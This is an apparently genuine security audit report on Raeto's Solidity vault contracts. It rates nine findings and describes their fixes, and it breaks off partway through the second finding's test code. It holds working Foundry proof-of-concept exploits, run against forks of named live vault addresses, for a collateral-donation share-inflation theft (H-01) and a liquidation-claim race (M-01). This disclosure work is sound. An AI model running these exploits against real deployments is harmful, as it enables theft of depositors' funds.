KANN AUDITS

SECURITY REVIEW

FOR RAETO



PREPARED FOR
Raeto

PREPARED BY
Kann Audits

DATE REPORTED
8 November 2026

INSIDE THIS REPORT

CONTENTS

01	AUDIT SUMMARY	03
02	PROTOCOL OVERVIEW	04
03	SCOPE	05
04	AUDITORS	06
05	METHODOLOGY	07
06	RISK CLASSIFICATION	09
07	FINDINGS SUMMARY	10
08	DETAILED FINDINGS	11
	H-01 Direct Morpho collateral donations manipulate deposit()'s share denominator, letting a dust shareholder steal later deposits	11
	M-01 A partial liquidation of a stock vault in loss credits more liquidation claims than it holds, and claims are paid first-come-first-served	19
	M-02 Once a stock vault is in loss, every repay path is all-or-nothing, so the debt compounds against USDG the vault holds and a holder without spare USDG can't exit	27
	L-01 Recovery After Temporary Loss Double-Counts Historical earned Accounting	32
	L-02 collateralValue() Delegates Zero-Price and Freshness Validation Entirely to Morpho Oracle	34
	L-03 If the Morpho USDG vault's view reverts, RaetoVault's rescued USDG and every stock vault freeze, with no working escape	36
	L-04 A gift-repay is misbooked as a liquidation, and cover() never accrues, so unbooked value can be redirected from the treasury to holders	43
	I-01 shortfallFor quotes an un-accrued gap, so passing it as maxShortfallIn reverts	48
	I-02 claimRewards can target the vault itself, letting the owner permanently lock all governance	50
09	DISCLAIMER	52
10	ABOUT KANN AUDITS	53

01 - OVERVIEW

AUDIT SUMMARY

Raeto engaged Kann Audits to perform a security review of the Raeto smart contracts. From 29 October – 5 November 2026, a team of 3 security researchers performed a manual review of the in-scope contracts and additionally triaged findings generated by the Kann AI Security Model. All findings identified during the assessment are documented in this report.

TOTAL FINDINGS

9 ISSUES

CRITICAL	–
HIGH	01
MEDIUM	02
LOW	04
INFORMATIONAL	02

ENGAGEMENT DETAILS

PREPARED FOR	Raeto
PREPARED BY	Kann Audits
DATE REPORTED	8 November 2026
REVIEW PERIOD	29 October – 5 November 2026
LANGUAGE	Solidity
CHAIN	Robinhood Chain
SCOPE	905 nSLOC
TIMELINE	8 days
METHODS	Manual review, Kann AI Security Model

02 - WHAT THE PROTOCOL DOES

PROTOCOL OVERVIEW

Raeto puts idle assets on Robinhood Chain to work and turns the interest into AI credits. RaetoVault takes USDG deposits and lends them through a Morpho ERC-4626 vault. Depositors keep their principal; the interest goes to Raeto's treasury and is credited to each depositor as `earned`, which Raeto converts into AI credits off-chain.

Each RaetoStockVault accepts one tokenized stock, with one deployment per stock. The vault posts the stock as collateral in a curated Morpho Blue market, borrows a modest amount of USDG against it (around 30% loan-to-value, never above 45%) and lends that USDG through a Morpho USDG vault. Holders keep their stock, and what the USDG earns minus what the loan costs is credited to them as interest. If Morpho liquidates part of the collateral, the USDG the liquidator repaid becomes a claim of the holders at that time, and while a vault is in loss a holder exits by adding their share of the gap. RaetoMarketPay pays a credit-marketplace order in one transaction; it has no owner and holds no funds.

03 - WHAT WE REVIEWED

SCOPE

REPOSITORY	Kann-Audits/Raeto-Contracts-Audit
AUDITED COMMIT	92aa819c08cefd7be4bf0597f730d91fe6a7ae18
FINAL COMMIT	be838893ff8d1fc3d47aeb1238d80045bf72f9e8

#	FILE	NSLOC
01	raeto-vaults/src/RaetoVault.sol	346
02	raeto-vaults/src/RaetoStockVault.sol	531
03	raeto-vaults/src/RaetoMarketPay.sol	28
	Total	**905**

04 - THE TEAM ON THIS ENGAGEMENT

AUDITORS

OX
0xscater
SECURITY RESEARCHER

CO
cosminm53
SECURITY RESEARCHER

AT
Atiq Ishrak
SECURITY RESEARCHER

05 - HOW WE WORK

METHODOLOGY

An engagement with Kann Audits involves a team of security researchers performing independent reviews of the codebase at the start of the engagement, followed by collaborative review sessions where auditors share findings and explore additional attack vectors to improve overall coverage.

The review included a line-by-line manual inspection of the in-scope codebase, along with analysis of the protocol architecture, access control mechanisms and state transitions. The team also assessed the code against common smart contract security best practices and industry standards.

STEP BY STEP

OUR SECURITY PROCESS

01 **Kickoff & Context**
A kickoff call to understand architecture, trust boundaries, threat assumptions and intended behaviour.

02 **Scope & Preparation**
Confirm the commit, files in scope, dependencies and the riskiest areas. We open a private channel between your team and our auditors.

03 **AI First Scan**
Kann AI, our proprietary model built to find security bugs, scans the codebase before the manual review starts.

04 **Expert Security Review**
Line-by-line analysis of exploit paths, invariant breaks, edge cases, accounting and integration risks.

05 **Findings & Proofs**
Each issue is confirmed, rated and backed by a proof of concept or a precise reproduction path.

06 **Mitigation Review**
We review every fix, confirm it resolves the root cause and flag partial or incorrect mitigations.

COVERAGE

THE REVIEW SPECIFICALLY CONSIDERED

- Integrations: Morpho Blue market accounting (borrow shares, interest accrual, liquidations and bad debt), the ERC-4626 USDG vaults the funds are lent to, and the Morpho oracle
- Testing against common and uncommon attack vectors
- Contract logic matching the client's intended behaviour
- Manual line-by-line review by experienced auditors
- Vault accounting: share pricing, interest credited as earned, Raeto's pending yield, liquidation claims and exits while a vault is in loss
- Compliance with industry best practices and known smart contract security standards
- Cross-referencing patterns with industry-standard implementations
- Access control verification

- Architecture and design analysis for secure component interactions and clear trust boundaries
- State transitions and logic, to detect inconsistencies, unexpected behaviour or exploitation paths

06 - HOW WE RATE ISSUES

RISK CLASSIFICATION

Severity combines the **impact** of an issue if exploited with the **likelihood** that the conditions for exploitation are met.

CRITICAL	Directly exploitable with few or no preconditions, leading to theft or permanent loss of funds or loss of control of the system. Must be fixed before deployment.
HIGH	Directly exploitable vulnerabilities that can lead to significant material loss or critical impact on the system and require immediate fixing.
MEDIUM	Moderate loss of funds or impact on multiple users, but only under specific conditions. Exploitable without privileged access, but typically requires certain assumptions or edge cases.
LOW	Issues with limited impact that do not put funds directly at risk, such as edge cases or deviations from documented behaviour.
INFORMATIONAL	Non-exploitable findings such as best-practice deviations, cosmetic issues or documentation and compliance notes. They do not need urgent remediation but improve code quality and maintainability.

07 - ALL ISSUES

FINDINGS SUMMARY

CRITICAL	HIGH	MEDIUM	LOW	INFO
-	01	02	04	02

TOTAL 09 FIXED 09 ACKNOWLEDGED 00

ID	TITLE	SEVERITY	STATUS
H-01	Direct Morpho collateral donations manipulate deposit()'s share denominator, letting a dust shareholder steal later deposits	HIGH	FIXED
M-01	A partial liquidation of a stock vault in loss credits more liquidation claims than it holds, and claims are paid first-come-first-served	MEDIUM	FIXED
M-02	Once a stock vault is in loss, every repay path is all-or-nothing, so the debt compounds against USDG the vault holds and a holder without spare USDG can't exit	MEDIUM	FIXED
L-01	Recovery After Temporary Loss Double-Counts Historical earned Accounting	LOW	FIXED
L-02	collateralValue() Delegates Zero-Price and Freshness Validation Entirely to Morpho Oracle	LOW	FIXED
L-03	If the Morpho USDG vault's view reverts, RaetoVault's rescued USDG and every stock vault freeze, with no working escape	LOW	FIXED
L-04	A gift-repay is misbooked as a liquidation, and cover() never accrues, so unbooked value can be redirected from the treasury to holders	LOW	FIXED
I-01	shortfallFor quotes an un-accrued gap, so passing it as maxShortfallIn reverts	INFORMATIONAL	FIXED
I-02	claimRewards can target the vault itself, letting the owner permanently lock all governance	INFORMATIONAL	FIXED

08 - ISSUE BY ISSUE

DETAILED FINDINGS

H-01 Direct Morpho collateral donations manipulate deposit()'s share denominator, letting a dust shareholder steal later deposits

SEVERITY HIGH STATUS FIXED LOCATION `RaetoStockVault.sol`

AFFECTED COMPONENTS

`RaetoStockVault::deposit()`, `RaetoStockVault::withdrawTo()`, and the vault-share conversion that relies on `collateral()`.

SUMMARY AND ROOT CAUSE

The share-pricing invariant is that only stock deposited through `RaetoStockVault` should affect the value represented by its shares. `deposit()` instead divides a new deposit by Morpho's live collateral balance. Morpho allows anyone to increase that balance for the vault without minting vault shares.

An attacker can retain one raw vault share, donate stock directly to the vault's Morpho position, and front-run later deposits. The donation enlarges the denominator but not `totalShares`, causing later users to receive too few shares. The attacker then redeems their old share against collateral that includes part of those users' deposits.

AFFECTED CODE

`RaetoStockVault.sol:231-241`

```
uint256 coll = collateral();
uint256 ts = totalShares;
// `coll` can be increased through Morpho without minting vault shares.
shares = ts == 0 ? received : Math.mulDiv(received, ts, coll);
```

`RaetoStockVault.sol:298` later pays out stock using the same mutable live collateral balance.

PRECONDITIONS AND ATTACK PATH

Attacker capabilities:

1. Deposit at least `minDeposit` stock, then withdraw all but one raw share.
2. Supply stock directly to Morpho with `onBehalf = address(vault)`.
3. Observe or front-run one or more later `deposit()` calls.

No keeper action, borrowing, oracle failure, or liquidation is required.

Cap-bounded example using the vault's 1,000,000-stock deposit cap:

1. The attacker leaves `1` raw share and `1` raw collateral unit.

2. The attacker directly supplies `100,000` stock to Morpho for the vault.
3. Four victims each deposit `200,000` stock through the vault. Each receives only one raw vault share.
4. The vault holds about `900,000` stock and has five shares. The attacker redeems one share for `180,000` stock.
5. Every victim receives only `180,000` stock when exiting, losing `20,000` stock each.

IMPACT

The attacker controls the full sequence and receives an `80,000`-stock net profit after committing a `100,000`-stock donation. The four later depositors collectively lose that amount. The attack works while remaining below the configured deposit cap and requires no privileged role or adverse market condition. This is direct theft from later depositors.

PROOF OF CONCEPT OR SUPPORTING EVIDENCE

Create a file called `PoC.t.sol` in the `test` directory, run the command below after adding the contents into the file:

```
forge test --match-test testFork_LargeMultiVictimDonationStealsWithinDepositCap -vv
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import {RaetoVault} from "raeto-vaults/src/RaetoVault.sol";
import {RaetoStockVault} from "raeto-vaults/src/RaetoStockVault.sol";
import {IMorpho, MarketParams, Position} from "morpho-blue/interfaces/IMorpho.sol";
import {IOracle} from "morpho-blue/interfaces/IOracle.sol";
import {MockERC4626} from "./fizz/utils/MockERC4626.sol";

/// @notice Fork validations against Robinhood Chain's deployed USDG, Morpho Blue, and stock token.
/// @dev The tests deploy fresh Raeto vault instances on the fork so they do not alter the live vaults'
state.
///      `deal` only funds test actors on the local fork. The production sink rejects a newly deployed
///      recipient with `NotActivated`, so the isolated stock-vault tests use a local 1:1 ERC-4626 sink.
///      Morpho, USDG, collateral token, oracle, and the active market are live fork dependencies.
contract ForkFindingValidationTest is Test {
    string internal constant ROBINHOOD_RPC = "https://rpc.mainnet.chain.robinhood.com";

    address internal constant LIVE_RAETO_VAULT = 0x6f9c9BD7F89D230Ec2ee34037e09b27848e4bd6B;
    address internal constant LIVE_STOCK_VAULT = 0xC9Bb4DdBb6E32C1C361A60840318798091Ec5082;

    address internal alice = makeAddr("alice");
    address internal keeper = makeAddr("keeper");
    address internal treasury = makeAddr("treasury");
    address internal owner = makeAddr("owner");

    RaetoVault internal liveRaetoVault;
    RaetoStockVault internal liveStockVault;
    RaetoVault internal usdVault;
    RaetoStockVault internal stockVault;
    IMorpho internal morpho;
    IERC20 internal usdg;
    IERC20 internal stock;
    IERC4626 internal sink;
    MockERC4626 internal forkSink;
    MarketParams internal params;
    uint256 internal liveDust;

    function setUp() public {
        // Robinhood's public endpoint is non-archive, so these integration checks intentionally fork
its head.
        vm.createSelectFork(ROBINHOOD_RPC);

        liveRaetoVault = RaetoVault(LIVE_RAETO_VAULT);
        liveStockVault = RaetoStockVault(LIVE_STOCK_VAULT);
        morpho = liveStockVault.morpho();
        usdg = liveStockVault.usdg();
        stock = liveStockVault.stock();
        sink = liveStockVault.sink();
        params = liveStockVault.marketParams();
        liveDust = liveStockVault.dustTolerance();
```

```
        // RaetoVault permits an idle configuration. It is enough to test direct-balance accounting
without
        // attempting to activate a fresh account in the production sink.
        usdVault = new RaetoVault(
            usdg,
            IERC4626(address(0)),
            treasury,
            keeper,
            owner,
            10_000_000e6,
            liveDust,
            1e6
        );
        forkSink = new MockERC4626(usdg, "Fork USDG Sink", "fUSDG", 6);
        stockVault = new RaetoStockVault(
            morpho,
            params,
            forkSink,
            treasury,
            keeper,
            owner,
            1_000_000e18,
            1e16,
            liveDust
        );
    }

    function _depositStockFor(address user, uint256 amount) internal {
        deal(address(stock), user, amount);
        vm.startPrank(user);
        stock.approve(address(stockVault), amount);
        stockVault.deposit(amount);
        vm.stopPrank();
    }

    function _depositStock(uint256 amount) internal {
        _depositStockFor(alice, amount);
    }

    function _fundReserve() internal {
        deal(address(usdg), owner, liveDust);
        vm.startPrank(owner);
        usdg.approve(address(stockVault), liveDust);
        stockVault.fundReserve(liveDust);
        vm.stopPrank();
    }

    function _borrowAgainstTenStock() internal returns (uint256 borrowShares) {
        _depositStock(10e18);
        // The live market is already above the fresh vault's 80% utilization ceiling. Supply 10,000
USDG
        // to the same live Morpho market in this disposable fork so its normal rebalance path has room.
        deal(address(usdg), alice, 10_000e6);
        vm.startPrank(alice);
        usdg.approve(address(morpho), 10_000e6);
        morpho.supply(params, 10_000e6, 0, alice, "");
        vm.stopPrank();
```

```
        _fundReserve();
        vm.prank(keeper);
        stockVault.rebalance();
        borrowShares = morpho.position(stockVault.marketId(), address(stockVault)).borrowShares;
        assertGt(borrowShares, 0, "live Morpho market did not lend to the fork vault");
    }

    function _grossUsdg() internal view returns (uint256) {
        return
            usdg.balanceOf(address(stockVault)) +
            forkSink.convertToAssets(forkSink.balanceOf(address(stockVault)));
    }

    /// @dev External wrapper so the fork probe can catch caller-gated `totalAssets()` reverts.
    function readLiveRaetoVaultAssets() external view returns (uint256) {
        return liveRaetoVault.totalAssets();
    }

    function testFork_LargeMultiVictimDonationStealsWithinDepositCap() public {
        address bob = makeAddr("h1-large-bob");
        address carol = makeAddr("h1-large-carol");
        address dave = makeAddr("h1-large-dave");
        address eve = makeAddr("h1-large-eve");
        uint256 minimum = stockVault.minDeposit();
        uint256 donation = 100_000e18;
        uint256 victimDeposit = 200_000e18;

        _depositStock(minimum);
        vm.prank(alice);
        stockVault.withdraw(minimum - 1);

        deal(address(stock), alice, donation);
        vm.startPrank(alice);
        stock.approve(address(morpho), donation);
        morpho.supplyCollateral(params, donation, address(stockVault), "");
        vm.stopPrank();

        _depositStockFor(bob, victimDeposit);
        _depositStockFor(carol, victimDeposit);
        _depositStockFor(dave, victimDeposit);
        _depositStockFor(eve, victimDeposit);
        assertEq(stockVault.collateral(), 900_000e18 + 1, "setup exceeds the configured cap");
        assertEq(stockVault.totalShares(), 5, "each large victim should receive one raw share");

        vm.prank(alice);
        uint256 attackerOut = stockVault.withdraw(1);
        vm.prank(bob);
        uint256 bobOut = stockVault.withdraw(1);
        vm.prank(carol);
        uint256 carolOut = stockVault.withdraw(1);
        vm.prank(dave);
        uint256 daveOut = stockVault.withdraw(1);
        vm.prank(eve);
        uint256 eveOut = stockVault.withdraw(1);

        assertEq(attackerOut, 180_000e18, "attacker did not capture multi-victim value");
        assertEq(bobOut, 180_000e18, "bob outcome changed");
```

```
        assertEq(carolOut, 180_000e18, "carol outcome changed");
        assertEq(daveOut, 180_000e18, "dave outcome changed");
        assertEq(eveOut, 180_000e18 + 1, "eve outcome changed");

        console2.log("direct Morpho donation:", donation);
        console2.log("deposits from four victims:", 4 * victimDeposit);
        console2.log("attacker withdrawal:", attackerOut);
        console2.log("attacker net profit:", attackerOut - donation - 1);
        console2.log("loss per victim:", victimDeposit - bobOut);
    }
}
```

The log results are:

```
[PASS] testFork_LargeMultiVictimDonationStealsWithinDepositCap()
direct Morpho donation: 10000000000000000000000
deposits from four victims: 80000000000000000000000
attacker withdrawal: 18000000000000000000000
attacker net profit: 7999999999999999999999
loss per victim: 2000000000000000000000
```

RECOMMENDED REMEDIATION

1. TRACK SHAREHOLDER-OWNED COLLATERAL INTERNALLY ACROSS ALL VAULT ACCOUNTING

Replace direct reads of Morpho's raw collateral balance with an internal `shareholderCollateral` state variable (and a companion `_expCollateral` snapshot of Morpho's live balance). Having `collateral()` return `shareholderCollateral` ensures that `deposit()`, `withdrawTo()`, `sharesToStock()`, `stockOf()`, `collateralValue()`, `ltv()`, `_rebalance()`, and `closeOutWiped()` all operate strictly on vault-accounted collateral:

- **On `deposit()`:** Increment `shareholderCollateral` by `received` and update `_expCollateral` after calling `morpho.supplyCollateral()`.
- **On `withdrawTo()`:** Decrement `shareholderCollateral` by `stockOut` and call `_syncExpected()` *after* `morpho.withdrawCollateral()`.
- **On `_accrue()`:** Compare Morpho's live collateral (`_liveCollateral()`) against `_expCollateral`. If `liveColl < _expCollateral`, a liquidation seized `seized = _expCollateral - liveColl` units of collateral; deduct `seized` from `shareholderCollateral` (and clamp to `liveColl`), then update `_expCollateral = liveColl`. If `liveColl > _expCollateral` (an external donation directly to Morpho), update `_expCollateral = liveColl` without increasing `shareholderCollateral`.

2. ADD DEFENSE-IN-DEPTH PROTECTIONS (`MINSHARESOUT` AND DUST-SHARE PREVENTION)

- Add a `minSharesOut` slippage parameter (or overloaded `deposit(uint256 amount, uint256 minSharesOut)`) so depositors revert if share minting rounds unfavorably.
- Prevent partial withdrawals from leaving dust shares (`0 < totalShares < minDeposit`), or include virtual shares/assets in the `deposit()` and `sharesToStock()` conversions, so an account cannot leave `1` raw share outstanding after withdrawing `minDeposit - 1`.

```
+   uint256 public shareholderCollateral;
+   uint256 private _expCollateral;

+   function _liveCollateral() internal view returns (uint256) {
+       return morpho.position(marketId, address(this)).collateral;
+   }

    function collateral() public view returns (uint256) {
-       return morpho.position(marketId, address(this)).collateral;
+       return shareholderCollateral;
    }

    function deposit(
        uint256 amount
    ) external nonReentrant returns (uint256 shares) {
        if (amount == 0) revert ZeroAmount();
        if (amount < minDeposit) revert BelowMinimum();
        if (depositsPaused) revert Paused();
        _accrue();
        if (inLoss()) revert InLoss();
        _settle(msg.sender);

        uint256 coll = collateral();
        uint256 ts = totalShares;
        if (ts > 0 && coll == 0) revert NoCollateral();
        uint256 before = stock.balanceOf(address(this));
        stock.safeTransferFrom(msg.sender, address(this), amount);
        uint256 received = stock.balanceOf(address(this)) - before;
        if (received == 0) revert ZeroAmount();
        if (coll + received > depositCap) revert CapExceeded();

        shares = ts == 0 ? received : Math.mulDiv(received, ts, coll);
        if (shares == 0) revert ZeroAmount();

        stock.forceApprove(address(morpho), received);
        morpho.supplyCollateral(marketParams(), received, address(this), "");
+       shareholderCollateral = coll + received;
+       _syncExpected();

        sharesOf[msg.sender] += shares;
        totalShares = ts + shares;
        emit Deposit(msg.sender, received, shares);
    }

    // Inside withdrawTo():
        stockOut = Math.mulDiv(shares, collateral(), ts);
+       shareholderCollateral -= stockOut;

        sharesOf[msg.sender] = s - shares;
        totalShares = ts - shares;
+       if (totalShares > 0 && totalShares < minDeposit) revert BelowMinimum();
        uint256 usdgOut = _payLiquidationClaim(msg.sender, receiver);

        if (stockOut < minStockOut) revert Slippage();
-       _syncExpected();
        if (stockOut > 0)
```

```
            morpho.withdrawCollateral(
                marketParams(),
                stockOut,
                address(this),
                receiver
            );
+       _syncExpected();
        emit Withdraw(msg.sender, receiver, shares, stockOut, usdgOut);

    function _syncExpected() internal {
        _expBorrowShares = morpho
            .position(marketId, address(this))
            .borrowShares;
+       _expCollateral = _liveCollateral();
    }

    // At the start of _accrue():
    function _accrue() internal {
        morpho.accrueInterest(marketParams());
+       uint256 liveColl = _liveCollateral();
+       if (liveColl < _expCollateral) {
+           uint256 seized = _expCollateral - liveColl;
+           shareholderCollateral = seized < shareholderCollateral
+               ? shareholderCollateral - seized
+               : 0;
+           if (shareholderCollateral > liveColl) {
+               shareholderCollateral = liveColl;
+           }
+       }
+       _expCollateral = liveColl;
```

REMEDIATION ● FIXED

RAETO

Confirmed, High. Fixed: shares are now priced against an internal ledger, `shareholderCollateral`, which only changes on `deposit`, `withdrawTo` and a detected liquidation, so collateral anyone supplies to Morpho on the vault's behalf can no longer move the share price. If Morpho's collateral drops below the vault's own snapshot, `_accrue` treats it as seized and clamps the ledger to what is left, with any donated surplus absorbing the seizure first. Donated stock can only be sent to the treasury, through the owner-only `sweepExcessCollateral()`. `deposit(amount, minSharesOut)` adds slippage protection. The deployed vaults are not upgradeable, so the fix ships with the redeployment; until then, deposits on empty vaults are to be paused by the owner.

M-01 A partial liquidation of a stock vault in loss credits more liquidation claims than it holds, and claims are paid first-come-first-served

SEVERITY MEDIUM STATUS FIXED LOCATION RaetoStockVault.sol

Contract: `RaetoStockVault.sol` L486, L614 · Reproduced on the live TSLA vault

SUMMARY

When Morpho liquidates part of the vault's loan, `_accrue` credits holders `freed = _toAssetsDown(exp - bs)` of liquidation claims - the full amount the liquidator repaid, with no cap. If the vault is already in loss (its USDG is below its debt), those claims exceed the USDG the vault actually holds. `_payLiquidationClaim` then pays each caller first-come-first-served, so the holder who claims first is paid in full and an identical holder who claims last is left short. The sibling full-wipe branch caps `freed` at the USDG held; the partial branch does not.

FINDING DESCRIPTION

```
if (bs < exp) {
    uint256 freed = _toAssetsDown(exp - bs);        // L486: = what the liquidator repaid, not what we hold
    if (bs == 0) {                                   // only the full-wipe branch is capped:
        uint256 a = usdgAssets();
        freed = a > pendingYield ? a - pendingYield : 0;
    }
    ...
    liquidationPool += freed;                        // can exceed gross USDG
}
```

A liquidator repays the vault's debt with the liquidator's own USDG and seizes stock, so the vault's USDG is unchanged. Crediting `freed` of claims is backed only when the vault is whole (gross USDG ≈ debt). In loss, gross USDG `G` < debt `D`, so a repay `R` can exceed `G`, and `R - G` of the pool is phantom. `usdgAssets()` floors `gross - liquidationPool` at 0 (L183), hiding it. `_payLiquidationClaim` pays `min(owed, pool, idle)` with no pro-rata (L614).

ATTACK PATH

No attacker; two market conditions that share one cause. Negative carry (M-02) both pushes usdgAssets below debt *and* compounds the debt upward until LTV crosses Morpho's threshold, so a vault stuck in loss drifts into liquidation on its own.

1. The vault is in loss.
2. The stock falls and Morpho liquidates part of the loan (any liquidator).
3. The next `_accrue` credits `liquidationPool` above the vault's USDG.
4. Holder A claims (or withdraws) first and is paid in full; later holders share what is left; the last are paid nothing on a claim still shown as owed. A claim-race bot captures the gain.

IMPACT

Redistribution among holders, bounded by the vault's pre-liquidation loss; late/passive claimants lose real USDG they are owed. In the PoC: pool credited 126.06 USDG against 78.09 held; on equal claims of 46.89, the first claimant takes 46.89 and the second only 31.20. This breaks the stated promise that "leaving first gains nothing and the holders who stay are unaffected."

The over-credit also outlives the holders it was issued to. `liquidationPool` is not ring-fenced, so after a full wipe and the old holders' close-out (or a keeper `unwind` and re-lever), the vault reopens with the unbacked claims still owed - then paid out of the USDG the keeper borrows against new depositors' stock. In the fork run on the empty AAPL vault, the close-out paid Alice her full 148.33 USDG but Bob only 52.02 of the same claim, leaving him owed 96.31 with 0 USDG in the vault; after the reopen Bob claimed that 96.31 out of Carol's loan, and Carol, who had deposited 1 AAPL (≈ $333), had to add 96.31 USDG to take her stock back. With a fully backed history the new depositor exits whole - so the loss can land on depositors who joined after the liquidation.

LIKELIHOOD

Low–medium. Both preconditions are market-driven, but one cause (negative carry / compounding debt) produces both, and the race needs only a bot. Four of five markets sit at ~90% utilisation today.

PROOF OF CONCEPT

Full PoC file `test/report/LiquidationPoolOverCredit.t.sol` (over-credit + FCFS on live TSLA, reopen on empty AAPL, whole-vault control):

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import {IMorpho, MarketParams, Market, Id} from "morpho-blue/interfaces/IMorpho.sol";
import {IOracle} from "morpho-blue/interfaces/IOracle.sol";
import {RaetoStockVault} from "../../src/RaetoStockVault.sol";

/// A partial Morpho liquidation of a stock vault in loss credits the liquidation pool with the full repaid
/// amount (uncapped, L486), beyond the USDG the vault holds; claims pay first-come-first-served (L614), so an
/// identical later claimant is left short. The unbacked pool is not ring-fenced, so it also survives a full
/// wipe and is later paid out of the USDG the vault borrows against the next cohort's stock. Live vaults.
/// Run (from raeto-vaults/):
///   ROBINHOOD_RPC=<archive rpc> FOUNDRY_EVM_VERSION=cancun forge test --match-path test/report/LiquidationPoolOverCredit.t.sol --isolate -vv
contract LiquidationPoolOverCreditTest is Test {
    uint256 constant FORK_BLOCK = 105_650_000;
    address constant TSLA = 0x1510079e4ffB0Cf25Be5342DB784066fB16Ff5EB; // live holders and debt
    address constant AAPL = 0x2a60EeD21BBAA040183202EC9A00419fab8b8De2; // empty: a clean reopen

    RaetoStockVault V;
    IMorpho morpho;
    IERC20 stock;
    IERC20 usdg;
    IERC4626 sink;
    MarketParams mp;
    Id id;
    uint256 p0;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address carol = makeAddr("carol");
    address borrower = makeAddr("borrower");
    address lender = makeAddr("lender");
    address liquidator = makeAddr("liquidator");

    function setUp() public {
        vm.createSelectFork(vm.envString("ROBINHOOD_RPC"), FORK_BLOCK);
    }

    function _use(address v) internal {
        V = RaetoStockVault(v);
        morpho = V.morpho();
        stock = V.stock();
        usdg = V.usdg();
        sink = V.sink();
        mp = V.marketParams();
        id = V.marketId();
        p0 = IOracle(mp.oracle).price();
        deal(address(usdg), liquidator, 10_000_000e6);
```

```
        vm.prank(liquidator);
        usdg.approve(address(morpho), type(uint256).max);
    }

    function _deposit(address who, uint256 amt) internal returns (uint256 sh) {
        deal(address(stock), who, amt);
        vm.startPrank(who);
        stock.approve(address(V), amt);
        sh = V.deposit(amt);
        vm.stopPrank();
    }

    function _grossUsdg() internal view returns (uint256) {
        uint256 bal = usdg.balanceOf(address(V));
        uint256 idle = bal > V.reserve() ? bal - V.reserve() : 0;
        return idle + sink.convertToAssets(sink.balanceOf(address(V)));
    }

    function _bs() internal view returns (uint256) {
        return morpho.position(id, address(V)).borrowShares;
    }

    function _setPrice(uint256 p) internal {
        vm.mockCall(mp.oracle, abi.encodeWithSelector(IOracle.price.selector), abi.encode(p));
    }

    function _crashToLtv(uint256 ltvBps) internal returns (uint256 p) {
        morpho.accrueInterest(mp);
        p = V.debt() * 1e36 * 10_000 / (V.collateral() * ltvBps);
        _setPrice(p);
    }

    function _liquidateShares(uint256 shares) internal returns (uint256 repaid) {
        vm.startPrank(liquidator);
        usdg.approve(address(morpho), type(uint256).max); // this USDG impl decrements even a max
allowance
        (, repaid) = morpho.liquidate(mp, address(V), 0, shares, "");
        vm.stopPrank();
    }

    // Push the market to 100% utilisation so the vault pays negative carry and drifts into loss.
    function _drainMarket() internal {
        morpho.accrueInterest(mp);
        Market memory m = morpho.market(id);
        uint256 liquidity = uint256(m.totalSupplyAssets) - uint256(m.totalBorrowAssets);
        uint256 coll = liquidity * 2e36 / p0; // 50% LTV
        deal(address(stock), borrower, coll);
        vm.startPrank(borrower);
        stock.approve(address(morpho), coll);
        morpho.supplyCollateral(mp, coll, borrower, "");
        morpho.borrow(mp, liquidity, 0, borrower, borrower);
        vm.stopPrank();
    }

    function _borrowerRepaysAll() internal {
        morpho.accrueInterest(mp);
        uint256 sh = morpho.position(id, borrower).borrowShares;
```

```
        deal(address(usdg), borrower, 100_000_000e6);
        vm.startPrank(borrower);
        usdg.approve(address(morpho), type(uint256).max);
        morpho.repay(mp, 0, sh, borrower, "");
        vm.stopPrank();
    }

    /// In loss + a partial liquidation: the pool is credited past the USDG held, and the first claimant
is
    /// paid in full while an identical second claimant is left short.
    function test_firstClaimantPaidInFull_secondLeftShort() public {
        _use(TSLA);
        uint256 sa = _deposit(alice, 1e18);
        uint256 sb = _deposit(bob, 1e18);
        assertEq(sa, sb, "identical positions");

        _drainMarket();
        vm.warp(block.timestamp + 75 days);
        V.accrue();
        assertTrue(V.inLoss(), "vault in loss");
        uint256 grossBefore = _grossUsdg();

        _setPrice(p0 * 30 / 100); // stock crashes ~70%: partially liquidatable
        uint256 repaid = _liquidateShares(_bs() / 2);
        V.accrue(); // anyone; detects and books the repay

        //@test pool credited the full repaid amount, uncapped, beyond the USDG the vault holds
        assertEq(_grossUsdg(), grossBefore, "liquidator used its own USDG; vault USDG unchanged");
        assertGt(V.liquidationPool(), _grossUsdg(), "pool credited beyond backing");

        uint256 owed = V.liquidationOwed(alice);
        assertEq(owed, V.liquidationOwed(bob), "equal claims");
        vm.prank(alice);
        uint256 paidA = V.claimLiquidation();
        vm.prank(bob);
        uint256 paidB = V.claimLiquidation();
        console2.log("repaid / gross held:", repaid, grossBefore);
        console2.log("owed / first paid / second paid:", owed, paidA, paidB);

        //@test identical claims, opposite outcomes
        assertEq(paidA, owed, "first claimant paid in full");
        assertLt(paidB, owed, "second claimant left short");
    }

    /// The unbacked pool survives a full wipe and the old holders' close-out, then is paid out of the
USDG the
    /// vault borrows against the next depositor's stock. Uses the empty AAPL vault for a clean reopen.
    function test_unbackedClaimsSurviveReopenAndHitNewDepositor() public {
        _use(AAPL);
        assertEq(V.totalShares(), 0, "vault empty at fork");
        deal(address(usdg), lender, 20_000e6); // room under the market's utilisation cap
        vm.startPrank(lender);
        usdg.approve(address(morpho), type(uint256).max);
        morpho.supply(mp, 20_000e6, 0, lender, "");
        vm.stopPrank();

        _deposit(alice, 1e18);
```

```
        _deposit(bob, 1e18);
        vm.prank(V.keeper());
        V.rebalance();
        _drainMarket();
        vm.warp(block.timestamp + 75 days);
        V.accrue();
        uint256 pCrash = _crashToLtv(8_000);
        _liquidateShares(_bs() * 9 / 10);
        V.accrue();
        assertGt(V.liquidationPool(), _grossUsdg(), "M-01 state: pool unbacked");

        _setPrice(pCrash / 100);
        vm.startPrank(liquidator);
        usdg.approve(address(morpho), type(uint256).max);
        morpho.liquidate(mp, address(V), V.collateral(), 0, ""); // seize all collateral → bad debt
        vm.stopPrank();
        assertEq(_bs(), 0, "loan wiped");
        V.accrue();

        V.closeOutWiped(alice);
        V.closeOutWiped(bob);
        uint256 owedBob = V.liquidationOwed(bob);
        console2.log("alice paid / bob paid at close-out:", usdg.balanceOf(alice), usdg.balanceOf(bob));
        console2.log("bob still owed, carried into the reopen:", owedBob);
